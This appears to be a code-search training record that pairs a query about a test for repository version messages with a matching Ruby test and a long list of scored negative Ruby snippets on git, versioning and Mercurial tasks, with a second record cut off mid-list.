"def git_push_if_changes( names ) ## optenfootball repo names e.g. world, england, etc.\n message = \"auto-update week #{Date.today.cweek}\"\n puts message\n\n names.each do |name|\n path = \"#{SportDb::Boot.root}/openfootball/#{name}\"\n\n Gitti::GitProject.open( path ) do |proj|\n puts ''\n puts \"###########################################\"\n puts \"## trying to commit & push repo in path >#{path}<\"\n puts \"Dir.getwd: #{Dir.getwd}\"\n output = proj.changes\n if output.empty?\n puts \"no changes found; skipping commit & push\"\n else\n proj.add( '.' )\n proj.commit( message )\n proj.push\n end\n end\n end\nend",
"def start_tests(files)\n end",
"def insert_one(file)\n files_collection.insert_one(file.metadata)\n inserts = file.chunks.reduce([]) do |ops, chunk|\n ops << { :insert_one => chunk }\n end\n result = chunks_collection.bulk_write(inserts, ordered: true)\n validate_md5!(file) if write_concern.get_last_error\n file.id\n end",
"def files_commits(num_commits)\n @repo = Grit::Repo.new(@directory)\n related_files = []\n commits_all(num_commits) do |commits|\n commits.each do |commit|\n paths = []\n begin\n commit.diffs.each do |diff|\n if diff.a_path != diff.b_path\n related_files += [[diff.a_path, diff.b_path]]\n end\n paths += [diff.a_path, diff.b_path]\n end\n rescue Grit::Git::GitTimeout\n puts \"Failed to diff for %s\" % commit.sha\n end\n paths.uniq!\n yield commit, paths, related_files\n end\n end\n end",
"def bundleTimestampFileCount(dest_folder,new_timestamp,max_count)\n ts=new_timestamp\n fileCount=0\n deletedFileList=\"\"\n @files = Dir.glob(dest_folder+\"**/**\")\n for file in @files\n if(fileCount>max_count)\n ts=ts+60\n fileCount=0\n end\n if file.to_s().end_with?(\"searchDB.sql\") \n File.utime(new_timestamp, new_timestamp, file)\n elsif file.to_s().end_with?(\"Deleted_List.list\")\n deletedFileList=file \n else\n File.utime(ts, ts, file)\n fileCount=fileCount+1\n end\n end \n File.utime(ts, ts, deletedFileList)\nend",
"def test1ActionWithFileTransferAlreadyRemanent\n initTestCase do\n setupTempFile do |iTmpFileName|\n $Context[:SlaveActions] = [\n [ 'DummyTool', 'DummyAction', [WEACE::Master::TransferFile.new(iTmpFileName)] ]\n ]\n executeMaster( [ '--process', 'DummyProcess', '--user', 'DummyUser' ],\n :Repository => 'Dummy/MasterServerInstalledWithDummySender',\n :AddRegressionProcesses => true,\n :AddRegressionSenders => true,\n :AddTransferFiles => {\n iTmpFileName => 1\n }\n ) do |iError|\n assert_equal( [\n [ 'prepareFileTransfer', [ iTmpFileName ] ],\n [ 'sendMessage', [ 'DummyUser', {\n 'DummyTool' => {\n 'DummyAction' => [\n [ \"#{iTmpFileName}_PREPARED\" ]\n ]\n }\n } ]\n ]\n ],\n $Variables[:DummySenderCalls]\n )\n assert(File.exists?(iTmpFileName))\n assert_equal([], getSlaveClientQueue)\n assert_equal({iTmpFileName => 1}, getTransferFiles)\n end\n end\n end\n end",
"def commit; end",
"def commit; end",
"def commit; end",
"def track_save save_type = :quicksave, args = {}\n files = save_type.eql?(:both) ? ['persistent.sfs', 'quicksave.sfs'] : [(save_type.eql?(:persistent) ? 'persistent' : 'quicksave') << '.sfs']\n r = self.repo\n\n within_dir(self.path) do \n files.each do |file|\n changed_file = r.changed.include?(file)\n if File.exists?(file) && (changed_file || r.untracked.include?(file))\n message = \"added #{file}\" \n message = \"updated #{file}\" if changed_file\n message = args[:message] unless args[:message].blank? \n puts message unless Rails.env.eql?(\"test\")\n r.add(file)\n r.commit(message)\n end\n end\n end\n end",
"def test_index_blobs_after_first_push\n commit_count = @repository.index_blobs(\n from_rev: \"0000000000000000000000000000000000000000\",\n to_rev: @repository.repository_for_indexing.head.target.oid)\n Repository.__elasticsearch__.refresh_index!\n\n result = @repository.search('def project_name_regex')\n assert { result[:blobs][:total_count] == 1 }\n end"
] | [
"0.66294175",
"0.6599447",
"0.63247895",
"0.6131414",
"0.61024",
"0.60317636",
"0.6031357",
"0.60282075",
"0.6025271",
"0.5978689",
"0.5972042",
"0.59320647",
"0.59019285",
"0.5878396",
"0.58749104",
"0.58659774",
"0.5837118",
"0.5802716",
"0.5783515",
"0.57633114",
"0.575433",
"0.5741889",
"0.5651123",
"0.56298256",
"0.55767304",
"0.55736536",
"0.55718225",
"0.5567992",
"0.55653244",
"0.5561123",
"0.5544326",
"0.5542763",
"0.5536477",
"0.55334634",
"0.55059326",
"0.54863083",
"0.5485709",
"0.5457939",
"0.5450879",
"0.5442011",
"0.5438702",
"0.54317135",
"0.5426508",
"0.54237086",
"0.5413752",
"0.54080963",
"0.54041505",
"0.53946793",
"0.5391398",
"0.5388732",
"0.53811175",
"0.5379664",
"0.5376354",
"0.53634024",
"0.5359226",
"0.53500825",
"0.53449535",
"0.5341842",
"0.534044",
"0.533525",
"0.5333812",
"0.5333594",
"0.53312784",
"0.53283477",
"0.53272074",
"0.5323769",
"0.53222346",
"0.53206784",
"0.53197324",
"0.53175896",
"0.5312421",
"0.5311222",
"0.5303694",
"0.53033674",
"0.5298288",
"0.5288771",
"0.5276039",
"0.52730066",
"0.5267978",
"0.5238789",
"0.5235555",
"0.52259356",
"0.522119",
"0.52201986",
"0.5216429",
"0.5212245",
"0.52084947",
"0.5201021",
"0.5200156",
"0.5192354",
"0.5189067",
"0.51757175",
"0.5173858",
"0.5173348",
"0.5172581",
"0.5171176",
"0.5171176",
"0.5171176",
"0.5168011",
"0.5163907"
] | 0.83649343 | 0 |
Repository doesn't have version yet hg is handling version, not sure if it makes sense to move to repository | def test_version_message
Repository.create()
FileUtils.touch('.test_file1')
a = ['.test_file1']
Repository.add(a)
Repository.commit()
#Repository.version()
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def repo; end",
"def repo; end",
"def repo; end",
"def repo; end",
"def hg_repo_path\n path = `hg root 2>/dev/null`.strip\n @hg_repo_path ||= path + '/.hg' unless path == ''\nend",
"def set_safe_revision\n case repository_type\n when 'git'\n %x[git rev-list --max-parents=0 HEAD].chomp\n when 'git-svn', 'svn'\n 0\n end\nend",
"def update_version_to_next\n super\n info \"Current version is now #{extract_version}\"\n Hg.commit File.basename(version_file), message\n Hg.push if Hg.remote\n end",
"def addon name,version=@@latest_version\n config = get_config(self._version)\n addon_author,addon_name = name.split(\"/\")\n if File.exists?(\"#{config[\"dirname\"]}/addons/#{addon_name}\")\n puts \"update #{name}\"\n `cd #{config[\"dirname\"]}/addons/#{addon_name} && git pull` \n else\n puts \"clone #{name}\"\n `cd #{config[\"dirname\"]}/addons && git clone https://github.com/#{name}.git` \n end\n end",
"def repo_root; end",
"def repo=(_arg0); end",
"def repo=(_arg0); end",
"def repo=(_arg0); end",
"def repo=(_arg0); end",
"def repo_dir; end",
"def version_file\n \"lib/#{repo_name}/common/version.rb\"\nend",
"def fetch_revision\n end",
"def load_from_gist(url, version_id)\n\nend",
"def has_version?; end",
"def repository; end",
"def version\n return @version unless @version.nil?\n @version = @config_source['version'] || maven_version() || 'unknown' \n @version.gsub!(/revision/, current_revision.to_s) \n @version\n end",
"def version_for(version, repo)\n config = {}\n case\n when version == 'latest-stable'\n config[:version] = :latest_stable\n when version == 'latest-current'\n config[:version] = :latest_current\n when is_url?(version)\n config[:version] = version\n else\n # '+' means that we want to search for integration builds, \n # which is the default behavior. Still need to strip the '+'\n if version.include?('+')\n version.delete('+') if version.end_with?('+')\n # otherwise instruct omnibus_artifactory_artifact we don't\n # want integration builds\n else\n config[:integration_builds] = false\n end\n config[:version] = version if version\n config[:repo] = repo_name(repo) if repo\n end\n config\nend",
"def git\n\tend",
"def set_dep(requested_version, whitelisted_repo_key, sha)\n if requested_version.include?(\"git+ssh\") # Preserve URL\n return \"#{ requested_version.split(\"#\").first }##{ sha }\"\n else\n return \"#{ whitelisted_repo_key }##{ sha }\"\n end\nend",
"def get_ai_repo_version(options)\n options = get_ai_publisherurl(options)\n if options['test'] == true || options['host-os-name'].to_s.match(/Darwin/)\n version = \"0.175.1\"\n else\n message = \"Information:\\tDetermining if available repository version from \"+options['publisherurl']\n command = \"pkg info -g #{options['publisherurl']} entire |grep Branch |awk \\\"{print \\\\\\$2}\\\"\"\n version = execute_command(options,message,command)\n version = version.chomp\n version = version.split(/\\./)[0..2].join(\".\")\n end\n return version\nend",
"def updateVersion\n # We add 1 because the next commit is probably one more - though this is a race\n commits = %x[git log #{$0} | grep '^commit ' | wc -l].to_i + 1\n vers = \"1.%0.3d\" % commits\n\n t = File.read($0)\n t.gsub!(/^MYVERSION = '(.*)'$/, \"MYVERSION = '#{vers}'\")\n bak = $0+'.bak'\n File.open(bak,'w') { |f| f.puts t }\n perm = File.stat($0).mode & 0xfff\n File.rename(bak,$0)\n File.chmod(perm,$0)\n exit\nend",
"def repository_name\n @repository_name ||= \"#{project_name}-boshrelease\"\n end",
"def git_dir; end",
"def set_version_by_git!\n return unless use_git?\n\n if attr[:github] && !attr[:git_repository]\n default_attr.git_repository = \"https://github.com/#{attr[:github]}.git\"\n end\n\n unless attr[:git_branch]\n default_attr.git_branch = 'master'\n end\n\n unless attr[:version]\n default_attr.version =\n case\n when attr[:git_commit]\n attr.git_commit[/\\A[\\da-f]{7}(?=[\\da-f]{33}\\z)/] || attr.git_commit\n when attr[:git_tag]\n attr.git_tag\n else\n # TODO: independent from git command\n result = `git ls-remote --heads #{attr.git_repository} refs/heads/#{attr.git_branch}`\n unless hash = result[/\\A[\\da-f]{7}(?=[\\da-f]{33}\\b)/]\n raise \"cannot find #{attr.git_branch} in #{attr.git_repository}\"\n end\n hash\n end\n end\nend",
"def fetch(version, extension)\n # Check if tag exists in current repo, if not fetch & recheck\n if !version_present_in_cache?(version)\n update_repository\n raise \"Version #{version} not found in #{extension} source\" if !version_present_in_cache?(version)\n end\n end",
"def load_versioning\n if @project_root and Pkg::Util::Git.describe\n @ref = Pkg::Util::Git.sha_or_tag\n @short_ref = Pkg::Util::Git.sha_or_tag(7)\n @version = Pkg::Util::Version.dash_version\n @gemversion = Pkg::Util::Version.dot_version\n @debversion = Pkg::Util::Version.debversion\n @origversion = Pkg::Util::Version.origversion\n @rpmversion = Pkg::Util::Version.rpmversion\n @rpmrelease = Pkg::Util::Version.rpmrelease\n else\n puts \"Skipping determination of version via git describe, Pkg::Config.project_root is not set to the path of a tagged git repo.\"\n end\n end",
"def patch_version; end",
"def remote_repository\n \"http://www.aQute.biz/repo\"\n end",
"def giturl(project_name, repo_name) ; end",
"def update_repository\n %x( cd #{@work_dir} && git fetch --tags )\n end",
"def version!\r\n fail\r\n end",
"def upgrade(version)\n \n end",
"def get_latest_version(opts)\n raise NotImplementedError\n end",
"def get_version\n\t\tend",
"def gem_version; end",
"def gem_version; end",
"def gem_version; end",
"def gem_version; end",
"def gem_version; end",
"def gem_version; end",
"def find_last_repository_version(product, repository_key)\n all_available_repo = find_available_repo(product, repository_key)\n repo = all_available_repo.last[1]\n all_available_repo.delete_if { |elem| elem[1]['version'].include?('debug') }\n repo = all_available_repo.last[1] unless all_available_repo.nil?\n repo\n end",
"def get_latest_revision\n raise NotImplementedError\n end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def repo\n if @repo == NRSER::NO_ARG\n @repo = QB::Repo.from_path root_path\n end\n \n @repo\n end",
"def current_version\n version_number rev\n end",
"def get_commit_log(last_version)\n range = \"v#{last_version}...\"\n `git log #{range} --no-merges --pretty=format:'%H\\t%s\\t%aN\\t%ad'`.chomp\nend",
"def git_tree_version\n if File.directory?(\".git\")\n @tree_version ||= `git describe`.strip.sub('-', '.')\n @tree_version << \".0\" unless @tree_version.count('.') == 2\n else\n $: << \"lib\"\n require 'rack'\n @tree_version = Rack.release\n end\n @tree_version\nend",
"def do_update_tag\n @repository = @repository.clone\n log = run_svn(\"log\", \"-r\", 'HEAD')\n log.split(/\\n/).each do |line|\n if line =~ /^r(\\d+)/\n @repository.tag = $1\n break\n end\n end\n end",
"def get_version()\n\t\tend",
"def repo\n read_attribute(:repo).presence || self.original_repo\n end",
"def determine_submodule_sha\n stdout.out_success \"\\nFirst, I'll determine the sha for the HEAD of branch: '#{settings['target_submodule_target_branch']}' for the submodule to be updated.\"\n stdout.out_success 'With that known, I can determine if a given repo is \"Up to Date\" for that particular submodule.'\n submodule_head_sha = get_sha_for_branch_origin_head\n stdout.out_success(\"\\nDetermined [#{settings['target_submodule_name']}]'s branch [#{settings['target_submodule_target_branch']}]'s HEAD sha to be: #{submodule_head_sha}\")\n submodule_head_sha\n end",
"def version\n @version ||= `git --version`.split(/\\s/).last.split(\".\").collect {|i| i.to_i}\n end",
"def grit_update\n grit_repo = Repo.new(self.path)\n count = 0\n grit_repo.branches.each do |b|\n self.branches << AqBranch.new(:name => b.name) if not self.branches.find_by_name(b.name)\n end\n self.branches.each do |b|\n b.grit_update\n count += 1\n end\n aq_logger(Settings.logs.scm, \"User #{self.owner}, Repository : #{self.name}, #{count} branches treated.\")\n self.save\n end",
"def get_latest_lib_branch(rel_branch, repo)\n ver_fields=rel_branch.split('.')\n major_minor=ver_fields[0] + '.' + ver_fields[1]\n\n total_branches=`git ls-remote #{repo} | grep #{major_minor}`\n max_sub_minor_int = 0\n max_sub_minor_str = \"00\"\n total_branches.split('\\n').each do |line|\n subminor = line.split(major_minor)[-1].split('.')[-1]\n subminor_int = subminor.to_i\n if (subminor_int >= max_sub_minor_int)\n max_sub_minor_int = subminor_int\n max_sub_minor_str = subminor\n end\n end\n\n (major_minor + '.' + max_sub_minor_str).chomp!\nend",
"def latest_version?\n if (rval = super)\n Gem.unversioned(@name)\n end\n rval\n end",
"def version\n '2.0.7.7' # Version number <major-update>.<minor-update>.<patch-update>.<commit-count>\n end",
"def check_repo_for_release(repo_dir, version)\n errors = []\n Dir.chdir(repo_dir) do\n if current_branch !~ /(\\Amaster)|(-stable)\\Z/\n errors << 'You need to be on the `master` branch or a `stable` branch in order to do a release.'\n end\n\n if `git tag`.strip.split(\"\\n\").include?(version.to_s)\n errors << \"A tag for version `#{version}` already exists.\"\n end\n\n diff_lines = `git diff --name-only`.strip.split(\"\\n\")\n\n if diff_lines.size == 0\n errors << 'Change the version number of the gem yourself'\n end\n\n diff_lines.delete('Gemfile.lock')\n diff_lines.delete('CHANGELOG.md')\n unless diff_lines.count == 1\n # TODO: Check that is only the version file changed\n error = 'Only change the version, the CHANGELOG.md and the Gemfile.lock files'\n error << \"\\n- \" + diff_lines.join(\"\\n- \")\n errors << error\n end\n\n unless Pathname.new('CHANGELOG.md').read.lines.include?(\"## #{version}\\n\")\n errors << \"The CHANGELOG.md doesn't include the released version \" \\\n \"`## #{version}`. Update it manually.\"\n end\n end\n\n unless errors.empty?\n errors.each do |error|\n $stderr.puts(red(\"[!] #{error}\"))\n end\n exit 1\n end\nend",
"def commit\n\t$VP.join('.git/refs/heads/master').read[0..8] rescue nil\nend",
"def git_wrapper (dpath = Dir.pwd)\n\n\tbegin\n\t\tRugged::Repository.new(dpath)\n\n\trescue Rugged::RepositoryError => err\n\n\t\tputs \"could not find repository at #{dpath}\"\n\t\texit 1\n\n\trescue Exception => err\n\n\t\tputs \"an error occurred while opening .git repository for #{dpath}\"\n\t\tputs err.message\n\t\texit 1\n\n\tend\n\nend",
"def default_version; end",
"def head\n\tversion\n end",
"def checkout_version(version_hash)\n git 'checkout', version_hash || 'HEAD'\n end",
"def package_repository(package_name, desired_version, arch = nil)\n package(package_name, arch, true, false) do |pkg|\n return pkg.repoid if desired_version == pkg.version.to_s\n end\n\n nil\n end",
"def safe_current_revision\n begin\n current_revision\n rescue => e\n logger.info \"*\" * 80\n logger.info \"An exception as occured while fetching the current revision. This is to be expected if this is your first deploy to this machine. Othewise, something is broken :(\"\n logger.info e.inspect\n logger.info \"*\" * 80\n nil\n end\nend",
"def initial_version\n version - changes.size\n end",
"def repo_path\n @repo_path ||= \"/tmp/extension-repo-#{id}\"\n end",
"def repo_init\n git :init\n end",
"def set_version(version, rootdir = Dir.pwd, options = {})\n exit_status = 0\n type = (options[:type]) ? options[:type] : FalkorLib.config[:versioning][:type]\n source = (options[:source]) ? options[:source] : FalkorLib.config[:versioning][:source][ type ]\n versionfile = File.join( rootdir, source[:filename] ) unless source[:filename].nil?\n major, minor, patch = major(version), minor(version), patch(version)\n #tocommit = \"\"\n case type\n when 'file'\n info \"writing version changes in #{source[:filename]}\"\n File.open(versionfile, 'w') { |f| f.puts version } #if File.exist? ( versionfile )\n when 'gem'\n info \"=> writing version changes in #{source[:filename]}\"\n File.open(versionfile, 'r+') do |f|\n text = f.read\n text.gsub!(/^(\\s*)MAJOR\\s*,\\s*MINOR,\\s*PATCH\\s*=\\s*(\\d+)\\s*,\\s*(\\d+)\\s*,\\s*(\\d+)(.*)$/,\n '\\1' + \"MAJOR, MINOR, PATCH = #{major}, #{minor}, #{patch}\" + '\\5')\n f.rewind\n f.write(text)\n end\n when 'puppet_module'\n info \"=> writing version changes in #{source[:filename]}\"\n metadata = JSON.parse( IO.read( versionfile ) )\n metadata[\"version\"] = version\n File.open(versionfile, \"w\") do |f|\n f.write JSON.pretty_generate( metadata )\n end\n #exit 1\n end\n if FalkorLib::Git.init?(rootdir)\n filelist = FalkorLib::Git.list_files( rootdir )\n Dir.chdir( rootdir ) do\n next if source[:filename].nil?\n unless filelist.include?( source[:filename] )\n warning \"The version file #{source[:filename]} is not part of the Git repository\"\n answer = ask(\"Adding the file to the repository? (Y|n)\", 'Yes')\n next if answer =~ /n.*/i\n exit_status = FalkorLib::Git.add(versionfile, \"Adding the version file '#{source[:filename]}', inialized to the '#{version}' version\" )\n next\n end\n run %( git diff #{source[:filename]} )\n answer = ask(cyan(\"=> Commit the changes of the version file to the repository? (Y|n)\"), 'Yes')\n next if answer =~ /n.*/i\n run %( git commit -s -m \"bump to version '#{version}'\" #{source[:filename]} )\n exit_status = $?.to_i\n # if (type == 'gem' && File.exists?(File.join(rootdir, 'Gemfile')) )\n # run %{\n # sleep 2\n # bundle update falkorlib\n # git commit -s -m \"Update Gemfile.lock accordingly\" Gemfile.lock\n # } if command?( 'bundle' )\n # end\n end\n end\n exit_status\n end",
"def version_tag_prefix\n if root_path == repo.root_path\n 'v'\n else\n (repo_rel_path / 'v').to_s\n end\n end",
"def module_version(repo_dir, config, build)\n version = config[\"module_version\"] || git_current_branch(repo_dir) || \"unknown\"\n \n if (not build.nil?) && build.length > 0\n return version + \"-\" + build\n else\n return version\n end\n end",
"def gitrepo(repo, name, ref = 'master')\n mod name.split('/').join('-'),\n :git => \"https://#{repo}/#{name}.git\",\n :ref => ref\nend",
"def version\n\t\t\tbegin\n\t\t\t\tv = \"#{GVB.major_version}.#{GVB.minor_version}.#{GVB.patch_version}\"\n\t\t\trescue\n\t\t\t\tv = File.read(\".gvb_version\") if File.exists?(\".gvb_version\")\n\t\t\tend\n\t\t\t# If we got a version then use it to construct a link to the github tag of the same\n\t\t\tif v\n\t\t\t\tl = link_to v, \"https://github.com/machiavellian/machiavelli/releases/tag/v#{v}\", target: \"blank\" if v\n\t\t\t\treturn \"version #{l} \".html_safe\n\t\t\tend\n\t\tend",
"def new_version\n %w(major minor patch).each do |level|\n changes = git_changelog.select(&\"#{level}?\".to_sym)\n return [ last_release.send(\"#{level}!\"), changes ] if changes.size > 0\n end\n raise \"No commit since last release (#{last_release})\"\n end",
"def grit_update\n grit_repo = Repo.new(self.path)\n count = 0\n grit_repo.branches.each do |b|\n self.branches.build(:name => b.name, :aq_repository => self, :aq_repository_id => self.id) if not self.branches.find_by_name(b.name)\n end\n self.branches.each do |b|\n b.grit_update\n count += 1\n end\n aq_logger(Settings.logs.scm, \"User #{self.owner.login}, Repository: #{self.name}, #{count} branches treated.\")\n self.save\n end"
] | [
"0.65108764",
"0.65108764",
"0.65108764",
"0.65108764",
"0.64156646",
"0.61907566",
"0.60420096",
"0.60394627",
"0.6022889",
"0.59949493",
"0.59949493",
"0.59949493",
"0.59949493",
"0.59857595",
"0.59560406",
"0.5948654",
"0.59007716",
"0.5899318",
"0.58935624",
"0.58884853",
"0.58709055",
"0.5848255",
"0.58418065",
"0.58259755",
"0.5811583",
"0.5802493",
"0.5795807",
"0.57877696",
"0.57764363",
"0.57590926",
"0.57508034",
"0.572888",
"0.5722065",
"0.5701456",
"0.56753564",
"0.5630018",
"0.5621367",
"0.5618874",
"0.56179273",
"0.56179273",
"0.56179273",
"0.56179273",
"0.56179273",
"0.56179273",
"0.5604435",
"0.5602059",
"0.55748785",
"0.55748785",
"0.55748785",
"0.55748785",
"0.55748785",
"0.55748785",
"0.55748785",
"0.55748785",
"0.55748785",
"0.55748785",
"0.55748785",
"0.55748785",
"0.55748785",
"0.55748785",
"0.55748785",
"0.55748785",
"0.55748785",
"0.55748785",
"0.55748785",
"0.55748785",
"0.55748785",
"0.55748785",
"0.55748785",
"0.55569637",
"0.5552417",
"0.55522746",
"0.5547748",
"0.5542435",
"0.5538662",
"0.5537677",
"0.5533892",
"0.5527457",
"0.55269456",
"0.55268246",
"0.55086863",
"0.5495756",
"0.54937214",
"0.5484556",
"0.54813766",
"0.547817",
"0.54728496",
"0.5461918",
"0.5444739",
"0.5443266",
"0.54397386",
"0.5439283",
"0.54383636",
"0.5437886",
"0.54374033",
"0.5436641",
"0.5435616",
"0.5433033",
"0.54328436",
"0.5431996"
] | 0.5843422 | 22 |
Repository doesn't have help yet hg is handling help, not sure if it makes sense to move to repository | def test_help_message
Repository.create()
#Repository.help()
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def hg_repo_path\n path = `hg root 2>/dev/null`.strip\n @hg_repo_path ||= path + '/.hg' unless path == ''\nend",
"def load_hg_info\n hg_progressbar = ProgressBar.create(title: 'Hg Info', total: errors.size) if display_bar?\n errors.each do |error|\n info_command = \"cd #{@runner.class.base_path}\"\n info_command += \" && hg blame -lvcu #{error.filename[@runner.class.base_path.size..-1].gsub(%r{^/}, '')}\"\n info_command += \" | sed -n /:#{error.line_number.split(',').first}:/p\"\n hg_info = system(info_command)\n unless hg_info == ''\n hg_commit_username = hg_info.split(':')[0].strip\n error.hg_username = hg_commit_username.split(/\\ /)[0..-2].join(' ')\n error.hg_commit = hg_commit_username.split(/\\ /)[-1]\n end\n hg_progressbar.increment if display_bar?\n end\n hg_progressbar.finish if display_bar?\n end",
"def repo; end",
"def repo; end",
"def repo; end",
"def repo; end",
"def help\n rez = \":ge setup - init .git directory in /etc folder\\n\"\n rez << \":ge diff - show diff for current changes\\n\"\n rez << \":ge commit COMMENT - will commit changes\\n\"\n rez << \":ge status - will run git status\\n\"\n end",
"def git\n\tend",
"def define_mercurial_tasks\n\t\t\treturn unless File.exist?( \".hg\" ) &&\n\t\t\t\t!Rake::Task.task_defined?( 'hg:checkin' )\n\n\t\t\tfile COMMIT_MSG_FILE do |task|\n\t\t\t\tedit_commit_log( task.name )\n\t\t\tend\n\n\t\t\tnamespace :hg do\n\n\t\t\t\tdesc \"Prepare for a new release\"\n\t\t\t\ttask :prep_release do\n\t\t\t\t\tuncommitted_files = get_uncommitted_files()\n\t\t\t\t\tunless uncommitted_files.empty?\n\t\t\t\t\t\tlog \"Uncommitted files:\\n\",\n\t\t\t\t\t\t\t*uncommitted_files.map {|fn| \"\t#{fn}\\n\" }\n\t\t\t\t\t\task_for_confirmation( \"\\nRelease anyway?\", true ) do\n\t\t\t\t\t\t\tlog \"Okay, releasing with uncommitted versions.\"\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\ttags = get_tags()\n\t\t\t\t\trev = get_current_rev()\n\t\t\t\t\tpkg_version_tag = \"#{hg_release_tag_prefix}#{version}\"\n\n\t\t\t\t\t# Look for a tag for the current release version, and if it exists abort\n\t\t\t\t\tif tags.include?( pkg_version_tag )\n\t\t\t\t\t\terror \"Version #{version} already has a tag.\"\n\t\t\t\t\t\tfail\n\t\t\t\t\tend\n\n\t\t\t\t\t# Ensure that the History file contains an entry for every release\n\t\t\t\t\tRake::Task[ 'check_history' ].invoke if self.check_history_on_release\n\n\t\t\t\t\t# Sign the current rev\n\t\t\t\t\tif self.hg_sign_tags\n\t\t\t\t\t\tlog \"Signing rev #{rev}\"\n\t\t\t\t\t\trun 'hg', 'sign'\n\t\t\t\t\tend\n\n\t\t\t\t\t# Tag the current rev\n\t\t\t\t\tlog \"Tagging rev #{rev} as #{pkg_version_tag}\"\n\t\t\t\t\trun 'hg', 'tag', pkg_version_tag\n\n\t\t\t\t\t# Offer to push\n\t\t\t\t\tRake::Task['hg:push'].invoke\n\t\t\t\tend\n\n\n\t\t\t\tdesc \"Check for new files and offer to add/ignore/delete them.\"\n\t\t\t\ttask :newfiles do\n\t\t\t\t\tlog \"Checking for new files...\"\n\n\t\t\t\t\tentries = get_unknown_files()\n\n\t\t\t\t\tunless entries.empty?\n\t\t\t\t\t\tfiles_to_add = []\n\t\t\t\t\t\tfiles_to_ignore = []\n\t\t\t\t\t\tfiles_to_delete = []\n\n\t\t\t\t\t\tentries.each do |entry|\n\t\t\t\t\t\t\taction = prompt_with_default( \"\t #{entry}: (a)dd, (i)gnore, (s)kip (d)elete\", 's' )\n\t\t\t\t\t\t\tcase action\n\t\t\t\t\t\t\twhen 'a'\n\t\t\t\t\t\t\t\tfiles_to_add << entry\n\t\t\t\t\t\t\twhen 'i'\n\t\t\t\t\t\t\t\tfiles_to_ignore << entry\n\t\t\t\t\t\t\twhen 'd'\n\t\t\t\t\t\t\t\tfiles_to_delete << entry\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\tunless files_to_add.empty?\n\t\t\t\t\t\t\trun 'hg', 'add', *files_to_add\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\tunless files_to_ignore.empty?\n\t\t\t\t\t\t\thg_ignore_files( *files_to_ignore )\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\tunless files_to_delete.empty?\n\t\t\t\t\t\t\tdelete_extra_files( files_to_delete )\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\ttask :add => :newfiles\n\n\n\t\t\t\tdesc \"Pull and update from the default repo\"\n\t\t\t\ttask :pull do\n\t\t\t\t\tpaths = get_repo_paths()\n\t\t\t\t\tif origin_url = paths['default']\n\t\t\t\t\t\task_for_confirmation( \"Pull and update from '#{origin_url}'?\", false ) do\n\t\t\t\t\t\t\tRake::Task['hg:pull_without_confirmation'].invoke\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\ttrace \"Skipping pull: No 'default' path.\"\n\t\t\t\t\tend\n\t\t\t\tend\n\n\n\t\t\t\tdesc \"Pull and update without confirmation\"\n\t\t\t\ttask :pull_without_confirmation do\n\t\t\t\t\trun 'hg', 'pull', '-u'\n\t\t\t\tend\n\n\n\t\t\t\tdesc \"Update to tip\"\n\t\t\t\ttask :update do\n\t\t\t\t\trun 'hg', 'update'\n\t\t\t\tend\n\n\n\t\t\t\tdesc \"Clobber all changes (hg up -C)\"\n\t\t\t\ttask :update_and_clobber do\n\t\t\t\t\trun 'hg', 'update', '-C'\n\t\t\t\tend\n\n\n\t\t\t\ttask :precheckin do\n\t\t\t\t\ttrace \"Pre-checkin hooks\"\n\t\t\t\tend\n\n\n\t\t\t\tdesc \"Check the current code in if tests pass\"\n\t\t\t\ttask :checkin => [:pull, :newfiles, :precheckin, COMMIT_MSG_FILE] do\n\t\t\t\t\ttargets = get_target_args()\n\t\t\t\t\t$stderr.puts '---', File.read( COMMIT_MSG_FILE ), '---'\n\t\t\t\t\task_for_confirmation( \"Continue with checkin?\" ) do\n\t\t\t\t\t\trun 'hg', 'ci', '-l', COMMIT_MSG_FILE, targets\n\t\t\t\t\t\trm_f COMMIT_MSG_FILE\n\t\t\t\t\tend\n\t\t\t\t\tRake::Task['hg:push'].invoke\n\t\t\t\tend\n\t\t\t\ttask :commit => :checkin\n\t\t\t\ttask :ci => :checkin\n\n\t\t\t\tCLEAN.include( COMMIT_MSG_FILE )\n\n\t\t\t\tdesc \"Push to the default origin repo (if there is one)\"\n\t\t\t\ttask :push do\n\t\t\t\t\tpaths = get_repo_paths()\n\t\t\t\t\tif origin_url = paths['default']\n\t\t\t\t\t\task_for_confirmation( \"Push to '#{origin_url}'?\", false ) do\n\t\t\t\t\t\t\tRake::Task['hg:push_without_confirmation'].invoke\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\ttrace \"Skipping push: No 'default' path.\"\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\tdesc \"Push to the default repo without confirmation\"\n\t\t\t\ttask :push_without_confirmation do\n\t\t\t\t\trun 'hg', 'push'\n\t\t\t\tend\n\t\t\tend\n\n\t\t\t# Add a top-level 'ci' task for checkin\n\t\t\tdesc \"Check in your changes\"\n\t\t\ttask :ci => 'hg:checkin'\n\n\t\t\t# Hook the release task and prep the repo first\n\t\t\ttask :prerelease => 'hg:prep_release'\n\n\t\t\tdesc \"Check the history file to ensure it contains an entry for each release tag\"\n\t\t\ttask :check_history do\n\t\t\t\tlog \"Checking history...\"\n\t\t\t\tmissing_tags = get_unhistoried_version_tags()\n\n\t\t\t\tunless missing_tags.empty?\n\t\t\t\t\tabort \"%s needs updating; missing entries for tags: %p\" %\n\t\t\t\t\t\t[ self.history_file, missing_tags ]\n\t\t\t\tend\n\t\t\tend\n\n\t\trescue ::Exception => err\n\t\t\t$stderr.puts \"%s while defining Mercurial tasks: %s\" % [ err.class.name, err.message ]\n\t\t\traise\n\t\tend",
